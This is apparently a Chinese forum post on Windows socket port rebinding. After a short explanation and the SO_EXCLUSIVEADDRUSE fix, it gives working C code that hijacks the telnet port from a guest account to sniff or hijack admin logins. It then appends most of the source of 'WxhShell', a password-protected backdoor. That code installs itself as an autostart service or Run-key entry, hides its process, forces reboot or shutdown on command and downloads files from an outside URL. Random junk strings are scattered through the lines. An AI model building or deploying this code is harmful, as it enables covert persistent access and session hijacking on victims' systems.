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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JjTegQN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p}~JgEE  
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  saddr.sin_family = AF_INET; [sj osV  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +iRh  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;85>xHK  
S;#'M![8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JP [K;/  
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  这意味着什么?意味着可以进行如下的攻击: $B5aje}i  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _F|Ek;y%  
1^JS Dd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [5Mr@f4I  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z o(rTCZX  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M@v.c; Lt  
HvJs1)Wo&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _g"<UV*H  
F0Yd@Lk$_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >@ .  
*_\_'@1|J)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {8bSB.?R  
[2 M'PT3  
  #include 1f=gYzuO)  
  #include }y gD3:vN7  
  #include \bvfEP  
  #include    |[b{)s?x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |z^^.d~a0  
  int main() p947w,1![  
  { )|# sfHv7  
  WORD wVersionRequested; LG#t<5y~  
  DWORD ret; P.9>z7l{  
  WSADATA wsaData; bq0zxg%  
  BOOL val; V+9 MoT?8  
  SOCKADDR_IN saddr; iSs:oH3l  
  SOCKADDR_IN scaddr; 3eQ&F~S  
  int err; -=\c_\O  
  SOCKET s; Jij*x>K>y  
  SOCKET sc; hv>\gBe i  
  int caddsize; %:* YO;dw'  
  HANDLE mt; )MTOU47U  
  DWORD tid;   %| Lfuz*  
  wVersionRequested = MAKEWORD( 2, 2 ); sdw(R#GE  
  err = WSAStartup( wVersionRequested, &wsaData ); j*r{2f4Rt  
  if ( err != 0 ) { IF:;`r@%  
  printf("error!WSAStartup failed!\n"); t'k$&l}+  
  return -1; T{[=oH+  
  } U z>+2m(  
  saddr.sin_family = AF_INET; B \2 SH%\  
   >}6%#CAf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .3Oap*X  
PB\x3pV!}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \z(gqkc 6  
  saddr.sin_port = htons(23); S;`A{Mow  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1#+S+g@#  
  { 49HZ2`Y  
  printf("error!socket failed!\n"); 5VU2[ \  
  return -1; Q*~]h;6\{d  
  } r3UUlR/Do  
  val = TRUE; E$p+}sP(C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t;\Y{`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sLxc(d'A  
  { ER.}CM6{[  
  printf("error!setsockopt failed!\n"); FVJ GL  
  return -1; hM@>q&q_  
  } @b2aNS<T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DEZve Qr=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RPRBmb940  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $yNS pNmT0  
c\AfaK^KF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C]A.i2o8  
  { A2Gevj?F$  
  ret=GetLastError(); [`7ThHX  
  printf("error!bind failed!\n"); zy }$i?  
  return -1; ^k9I(f^c-_  
  } @E|}Y  
  listen(s,2); eehb1L2(b  
  while(1) {R6ZKB  
  { f%}xO+.s  
  caddsize = sizeof(scaddr); +52{-a,>  
  //接受连接请求 ~b8]H|<'Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t1x1,SL  
  if(sc!=INVALID_SOCKET) *J`O"a  
  { r_A$DaC]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g`QEu 5v  
  if(mt==NULL) Qzw;i8n{  
  { 4'=y:v2  
  printf("Thread Creat Failed!\n"); <wD-qTW  
  break; }0Ed ]  
  } >~0Z& d  
  } (n_/`dP  
  CloseHandle(mt); 7-fb.V9  
  } &{t,'[ u  
  closesocket(s); 13x p_j  
  WSACleanup(); ncT&Gr   
  return 0; ?%[jR=w  
  }   ^^ixa1H<  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8YSAf+{FtK  
  { pTLCWbF?  
  SOCKET ss = (SOCKET)lpParam; uoh7Sz5!^  
  SOCKET sc; om:VFs\U  
  unsigned char buf[4096]; 7 HYwLG:\~  
  SOCKADDR_IN saddr; uQKT  
  long num; >i?oC^QM  
  DWORD val; .8JTe 0  
  DWORD ret; .HABNPNg(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c@L< Z`u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    _6vW F  
  saddr.sin_family = AF_INET; KF:78C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HJ.-Dg5U  
  saddr.sin_port = htons(23); =[7Av>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4;2uW#dG"  
  { JNnDts*w  
  printf("error!socket failed!\n"); g *+>H1}  
  return -1; mj7#&r,1l  
  } $VOF Oc  
  val = 100; \1M4Dl5!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QQc -Ya!v  
  { W ]8 QM1$  
  ret = GetLastError(); ('+d.F[109  
  return -1; 44j*KsBf  
  } &s>Jb?_5Mx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M x" \5i  
  { 1<aP92/N&  
  ret = GetLastError(); YKK*ER0  
  return -1; ~WF\  
  } W=+ Y|R!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b4Ekqas  
  { BDQsP$'6QT  
  printf("error!socket connect failed!\n"); 4 s9LB  
  closesocket(sc); nQ3A~ ()  
  closesocket(ss); o}p n0KO,  
  return -1; ]7c=PC  
  } aw&,S"A@  
  while(1) $M:*T.3  
  { +R:(_:7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -MBxl`JU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a(ZcmYzXU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j3ls3H&  
  num = recv(ss,buf,4096,0); @_{=V0  
  if(num>0) :7;@ZEe  
  send(sc,buf,num,0); lr&a;aZp  
  else if(num==0) lPAQ3t!,  
  break; w_VP J  
  num = recv(sc,buf,4096,0); _7y[B&g[r  
  if(num>0) %iqD5x$OA  
  send(ss,buf,num,0); 86a\+Kz%%L  
  else if(num==0) ba9?(+i$h  
  break; es0hm2HT3  
  } Ab;.5O$y  
  closesocket(ss); $<[79al#  
  closesocket(sc); }c:M^Ff  
  return 0 ; WUTowr  
  } ?+8\.a!  
3=V &K-  
>^{yF~(  
========================================================== %J-GKpo/S  
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下边附上一个代码,,WXhSHELL ~)M~EX&pK  
:[d9tm  
========================================================== bW+:C5'  
%!#azI  
#include "stdafx.h" a?oI>8*  
 4Wp=y  
#include <stdio.h> X"*5+* z]  
#include <string.h> w&.a QGR#  
#include <windows.h> Z4bNV?OH  
#include <winsock2.h> F((4U"   
#include <winsvc.h> #B w0,\  
#include <urlmon.h> y8xE 6i  
cm+P]8o%{  
#pragma comment (lib, "Ws2_32.lib") \z)%$#I  
#pragma comment (lib, "urlmon.lib") m(P]k'ZH?  
62NsJ<#>  
#define MAX_USER   100 // 最大客户端连接数 N6TH}~62}  
#define BUF_SOCK   200 // sock buffer QTnP'5y  
#define KEY_BUFF   255 // 输入 buffer Zj Z^_X3  
`EQL" =)  
#define REBOOT     0   // 重启 yWf`rF{  
#define SHUTDOWN   1   // 关机 tQ601H>o  
yIE!j %u  
#define DEF_PORT   5000 // 监听端口 IAyp2  
ez[Vm:2K  
#define REG_LEN     16   // 注册表键长度 A":T1s  
#define SVC_LEN     80   // NT服务名长度 8xMX  
dQG=G%W  
// 从dll定义API ,/U6[P_C5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rS Ni@;   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >.D4co>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GKeU%x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [<TrS/,)>  
O33 `+UV"W  
// wxhshell配置信息 4I(Xy]wm  
struct WSCFG { H6gSO(U  
  int ws_port;         // 监听端口 Kf-JcBsrT  
  char ws_passstr[REG_LEN]; // 口令 |V7*l1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7PF%76TO  
  char ws_regname[REG_LEN]; // 注册表键名 VS|2|n1<6  
  char ws_svcname[REG_LEN]; // 服务名 ,]/X\t5]D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /Gfw8g\}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :MDKC /mC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'O-"\J\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M'l ;:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nT)vNWT=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4`=m u}Y2  
wS3'?PRX  
}; ,wPr"U+7  
V^~:F  
// default Wxhshell configuration HLi%%"'  
struct WSCFG wscfg={DEF_PORT, i{qgn%#}Y  
    "xuhuanlingzhe", FE;x8(;W8  
    1, h FBe,'3M  
    "Wxhshell", e8 b:)"R  
    "Wxhshell", YA5g';$H*  
            "WxhShell Service", Yz93'HDB  
    "Wrsky Windows CmdShell Service", @|T'0_'  
    "Please Input Your Password: ", yaV|AB$v  
  1, v(%*b,^  
  "http://www.wrsky.com/wxhshell.exe", l9H!au=  
  "Wxhshell.exe" +qdEq_ m  
    }; Uoix  
Ef{Vp;]  
// 消息定义模块 '/%H3A#L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YZJyk:H\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [opGZ`>)j"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,"79P/C  
char *msg_ws_ext="\n\rExit."; _h1mF<\ X^  
char *msg_ws_end="\n\rQuit."; _u9Jxw?F@Y  
char *msg_ws_boot="\n\rReboot..."; is@?VklnB  
char *msg_ws_poff="\n\rShutdown..."; J9S>yLQK  
char *msg_ws_down="\n\rSave to "; f6"Z'{j  
J<lO= +mg  
char *msg_ws_err="\n\rErr!"; {BU;$  
char *msg_ws_ok="\n\rOK!"; +x}<IS8  
+[g,B1jt  
char ExeFile[MAX_PATH]; `~q<N  
int nUser = 0; 13/]DF,S"^  
HANDLE handles[MAX_USER]; [)X\|pO&  
int OsIsNt; ~WV"SaA)*U  
seeB S/%  
SERVICE_STATUS       serviceStatus; vs{s_T7Mz]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '@P^0+B!(.  
#C@FYO f*  
// 函数声明 K\c#ig   
int Install(void); iO; 7t@]-  
int Uninstall(void); "U"Z 3 *  
int DownloadFile(char *sURL, SOCKET wsh);  %D "I  
int Boot(int flag); Dv`c<+q(#  
void HideProc(void); Wo=jskBrQ  
int GetOsVer(void); &b& ,  
int Wxhshell(SOCKET wsl); QkC(uS  
void TalkWithClient(void *cs); z*)T %p  
int CmdShell(SOCKET sock); 0_t!T'jr7  
int StartFromService(void); '1/i"yoW  
int StartWxhshell(LPSTR lpCmdLine); 7. ;3e@s  
D. XvG_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BIL Lq8)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;sFF+^~L  
J5jvouR  
// 数据结构和表定义 l1Fc>:o{  
SERVICE_TABLE_ENTRY DispatchTable[] = .#pU=v#/[  
{ k|d+#u[Mj@  
{wscfg.ws_svcname, NTServiceMain}, hY8reQp1  
{NULL, NULL} SasJic2M  
}; *-p}z@8  
:*\Pn!r  
// 自我安装 _:27]K:  
int Install(void) @f_+=}|dc  
{ /&94 eC  
  char svExeFile[MAX_PATH]; 6)Lk-D  
  HKEY key;  ; 4~hB  
  strcpy(svExeFile,ExeFile); Y:a]00&)#Y  
pz>>)c`  
// 如果是win9x系统,修改注册表设为自启动 ~&bq0 (  
if(!OsIsNt) { ?6Y?a2 |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PwLZkr@4^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !C: $?oU  
  RegCloseKey(key); wD)XjX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^y%T~dLkp'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '`KY! ]L  
  RegCloseKey(key); v_-dx  
  return 0; IO-Ow!  
    } }`~+]9 <   
  } &.?'i1!  
} ea')$gR  
else { I2 P@L?h  
[q #\D  
// 如果是NT以上系统,安装为系统服务 ixD)VcD-f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Qe;vZ31K  
if (schSCManager!=0) n7-6- #  
{ E~oOKQ5W  
  SC_HANDLE schService = CreateService ^DwYOo2B  
  ( Ciz X<Cr}  
  schSCManager, em N*l]N  
  wscfg.ws_svcname, ?.;c$'  
  wscfg.ws_svcdisp, )P|),S,;Z  
  SERVICE_ALL_ACCESS, u4 h4.NHX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &KRX[2  
  SERVICE_AUTO_START, Y/zj[>  
  SERVICE_ERROR_NORMAL, 65Yv4pNL  
  svExeFile, Q$@I"V&G.  
  NULL, yO~Ig `w  
  NULL, u:_,GQ )\  
  NULL, jtc]>]6i  
  NULL, 81Z) eO#  
  NULL g7W"  
  ); 7O-x<P;  
  if (schService!=0) :G%61x&=Zc  
  { N[ Og43Y  
  CloseServiceHandle(schService); ;hN!s`vq  
  CloseServiceHandle(schSCManager); iAIuxO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DlMW(4(  
  strcat(svExeFile,wscfg.ws_svcname); kL"2=7m;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'AH0ww_)n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VS8Rx.?  
  RegCloseKey(key); Fy-t T]Q9  
  return 0; ckE-",G  
    } u5f9Jw}  
  } b B3powy9  
  CloseServiceHandle(schSCManager); b2&0Hx  
} dVT$VQg  
} 9m~p0ILh  
`&ckZiq  
return 1; GDiBl*D  
} q'Tf,a  
J]pir4&j  
// 自我卸载 3m!X/u  
int Uninstall(void) 'kO!^6=4M  
{ &Ys<@M7E:  
  HKEY key; sN01rtB(UT  
*mvlb (' &  
if(!OsIsNt) { [%1CRk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D7Q$R:6|  
  RegDeleteValue(key,wscfg.ws_regname); |imM# wF  
  RegCloseKey(key); UhQj Qaa~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Od,qbU4O  
  RegDeleteValue(key,wscfg.ws_regname); @O^6&\s>  
  RegCloseKey(key); 57  
  return 0; )cMh0SGcM1  
  } _TQj~W<  
} XYOC_.f1  
} 68C%B9.b'  
else { 30T)!y  
PmEsN&YP]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ra gXn  
if (schSCManager!=0) mLLDE;7|}  
{ j/c&xv 7=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eF-."1  
  if (schService!=0) O:{~urV  
  { hH8oyIC  
  if(DeleteService(schService)!=0) { =wV<hg)C  
  CloseServiceHandle(schService); Pw`8Wj  
  CloseServiceHandle(schSCManager); R=2FNP  
  return 0; ,G?WAOy,  
  } E,x+JeKV  
  CloseServiceHandle(schService); `%9 uE(  
  } bI9~jWgGp  
  CloseServiceHandle(schSCManager); LG|fq/;  
} Gk&)08  
} a P@N)"  
Ww+IWW@  
return 1; !")tU+:  
} T<Z &kYU:R  
paE[rS\  
// 从指定url下载文件 Ee%%d  
int DownloadFile(char *sURL, SOCKET wsh) U@)eTHv}6  
{ V1 `o%;j  
  HRESULT hr; WUXx;9>  
char seps[]= "/"; '"/=f\)u  
char *token; &>W$6>@  
char *file; sW'AjI  
char myURL[MAX_PATH]; bSi%2Onj  
char myFILE[MAX_PATH]; cj|80$cSA  
Ma']?Rb`  
strcpy(myURL,sURL); g63(E,;;J  
  token=strtok(myURL,seps); J7Hl\Q[D1  
  while(token!=NULL) @&3EJ1  
  { i0kak`x0  
    file=token; Q}K"24`=  
  token=strtok(NULL,seps); m{cGK`/\  
  } 1N#| }ad  
*:LK8U  
GetCurrentDirectory(MAX_PATH,myFILE); li'YDtMKCY  
strcat(myFILE, "\\"); $)ijN^hV  
strcat(myFILE, file); o!Ieb  
  send(wsh,myFILE,strlen(myFILE),0); 6"5A%{ J  
send(wsh,"...",3,0); 8hz^%vm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :vqgGKml$  
  if(hr==S_OK) Ls$D$/:q?  
return 0; U} e!Wjrc  
else mCsMqDH  
return 1; (pCrmyB  
RYQR(v  
}  v zs)[AD  
=9boya,>  
// 系统电源模块 TA`1U;c{n  
int Boot(int flag) *ebSq)  
{ pnowy;  
  HANDLE hToken; ;!mzyb*  
  TOKEN_PRIVILEGES tkp; F^t DL:  
[P=Jw:E  
  if(OsIsNt) { HV!m8k=6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gx8ouOh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *yt=_Q  
    tkp.PrivilegeCount = 1; Sw8]EH6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :bu/^mW[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fF$<7O)+]  
if(flag==REBOOT) { ?GoR^p #p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RK'\C\gMDu  
  return 0; D9 CaFu  
} qo90t{|c  
else { :0j?oY~e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J!v3i*j\  
  return 0; 8 S:w7Hr  
} +,T RfP Fb  
  } -aPg#ub  
  else { |mdVdD~go  
if(flag==REBOOT) { h5{'Q$Erl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G_3O]BMKd)  
  return 0; VgG0VM  
} uy[At+%zg  
else { G7` ko1-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _(W+S`7Z  
  return 0; 6y%qVx#!  
} zUkgG61  
} E:sf{B'&  
N ,'GN[s  
return 1; g|DF[  
} ?*G|XnM&  
rxgbV.tx  
// win9x进程隐藏模块 $k@O`xD,q  
void HideProc(void) ;v)JnbsH}  
{ ?>D+ge  
(^8Y|:Tz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F 5bj=mI  
  if ( hKernel != NULL ) ~rE|%o  
  { }l(&}#dY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M)J5;^["  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DbBcQ%  
    FreeLibrary(hKernel); 'NXN& {  
  } 8\@m - E!{  
 &=@IzmA  
return; 'Vzp2  
} '1P2$#  
?(' wn<  
// 获取操作系统版本 zsEc(  
int GetOsVer(void) G}9Jg  
{ rKe2/4>0X  
  OSVERSIONINFO winfo; m)ky*"(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $u$!tj  
  GetVersionEx(&winfo); j78i #}e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VZp5)-!\  
  return 1; d\&U*=  
  else X[-xowE-  
  return 0; z\\[S@>pt  
} LiC*@W  
2.`\  
// 客户端句柄模块 &&5aM  
int Wxhshell(SOCKET wsl) m4[;(1  
{ vONasD9At  
  SOCKET wsh; du $:jN\}  
  struct sockaddr_in client; %+aCJu[k(z  
  DWORD myID; L4@K~8j7  
bQzZy5,  
  while(nUser<MAX_USER) f&N gS+<K$  
{ wjU9ZGM  
  int nSize=sizeof(client); 7cuE7"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m<<+  
  if(wsh==INVALID_SOCKET) return 1; QGMV}y  
euK5pA>L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oM X  
if(handles[nUser]==0) fF!Yp iI"  
  closesocket(wsh); sf:,qD=z  
else ^rB8? kt  
  nUser++; _>o:R$ %}  
  } -vAC"8)S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aG-vtld  
 g T6z9  
  return 0; %e8@*~h@  
} vO H4#  
o@_q]/Mh  
// 关闭 socket ^)470K`%)  
void CloseIt(SOCKET wsh) 0.Q Ujw  
{ RF?`vRZOe  
closesocket(wsh); ^Y?k0z  
nUser--; +WZX.D  
ExitThread(0); `_6C {<O  
} [@_Jj3`4  
]"pVj6O  
// 客户端请求句柄 v1#otrf  
void TalkWithClient(void *cs) VnSCz" ?3  
{ s2a{>II6  
j}#w )M  
  SOCKET wsh=(SOCKET)cs; ,=uD^n:  
  char pwd[SVC_LEN]; "6("9"  
  char cmd[KEY_BUFF]; SjK  
char chr[1]; 8:q1~`?5"b  
int i,j; B5`EoZ  
:ffY6L+  
  while (nUser < MAX_USER) { ;'gWu  
\Zb;'eDv  
if(wscfg.ws_passstr) { k x8G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^23~ZHu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -D<< kra  
  //ZeroMemory(pwd,KEY_BUFF); i}(LqcYU  
      i=0; ynp8r f  
  while(i<SVC_LEN) { \wmN  
g%aYDl  
  // 设置超时 V_)-#=J  
  fd_set FdRead; ,S\CC{!  
  struct timeval TimeOut; !OZy7  
  FD_ZERO(&FdRead); O4 w(T  
  FD_SET(wsh,&FdRead); 1l9 G[o *  
  TimeOut.tv_sec=8; &Hrj3E  
  TimeOut.tv_usec=0; D=TvYe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2bz2KB5>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V(}:=eK  
z,RhYm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &*o=I|pQ  
  pwd=chr[0]; y4yhF8E>;U  
  if(chr[0]==0xd || chr[0]==0xa) { HH`'*$]7  
  pwd=0; {.`vs;U  
  break; )w em|:H  
  } 7K12 G!)  
  i++; "2!&5s,1p  
    } Z<oaK  
aNsBcov3O  
  // 如果是非法用户,关闭 socket $yP*jO4i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nd4f^Y   
} EZgwF =lO  
#-rH1h3*q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cx,+k]9D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qyb?49I  
'JtBZFq  
while(1) { . P viA  
v4<nI;Ux  
  ZeroMemory(cmd,KEY_BUFF); YO`]UQ|dc  
hXw]K"  
      // 自动支持客户端 telnet标准   |*Yr<zt  
  j=0; 6dQ-HI*Y#  
  while(j<KEY_BUFF) { 7jrt7[{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  l03B=$  
  cmd[j]=chr[0]; 85= )lu  
  if(chr[0]==0xa || chr[0]==0xd) { |o"?gB}Dh  
  cmd[j]=0; VO5#Qgen  
  break; TJd)K$O>  
  } 8bGd} (  
  j++; 1}+3dB_s  
    } I@\lN&HC  
Ng&%o  
  // 下载文件 AD> e?u  
  if(strstr(cmd,"http://")) { TvoyZW\?w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &$BjV{,/zc  
  if(DownloadFile(cmd,wsh)) !vi> U|rh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _~m5^Q&  
  else +.8 \p5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); te`$%NRl  
  } @/~omg}R  
  else { &N9 a<w8+  
Y;eZ9|Ht9  
    switch(cmd[0]) { ^S<Y>Nm]  
  u2 I*-K  
  // 帮助 BU)U/A8iS  
  case '?': { D>r&}6<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7O2/z:$f  
    break; &;6`)M{*}  
  } O^PKn_OJ  
  // 安装 J-:.FKf\5l  
  case 'i': { H H)!_(SA  
    if(Install()) OF>mF~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CZe ]kXNv  
    else ;]puq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L&8~f]  
    break; L- iy  
    } QhFV xCA  
  // 卸载 ~\SGb_2  
  case 'r': { 3Aip}<1  
    if(Uninstall()) 0 JS?;fk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ y.?:7I  
    else hNiE\x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 234p9A@  
    break; ~D+bh~  
    } dbLZc$vPj  
  // 显示 wxhshell 所在路径 iXkF1r]i  
  case 'p': { urc| D0n  
    char svExeFile[MAX_PATH]; M t|zyXyzX  
    strcpy(svExeFile,"\n\r"); ?,Xw[pR  
      strcat(svExeFile,ExeFile); FkDmP`Od  
        send(wsh,svExeFile,strlen(svExeFile),0); }Bh8=F3O Q  
    break; n80?N}  
    } f`(UQJ  
  // 重启 "^[ 'y7i  
  case 'b': { P:S.~Jq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Po;W'7"Po`  
    if(Boot(REBOOT)) 7"D", 1h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2W(s(-hD  
    else { 3NqB <J  
    closesocket(wsh); /N+dQe  
    ExitThread(0); P5V}#;v  
    } o[4}h:> dq  
    break; #MkTkm&r  
    } #zy :a%  
  // 关机 k'Hs}zeNn  
  case 'd': { g-k|>-h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @;4zrzQi7  
    if(Boot(SHUTDOWN)) `hm-.@f,9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z9Mfd#5?>P  
    else { l30EKoul)  
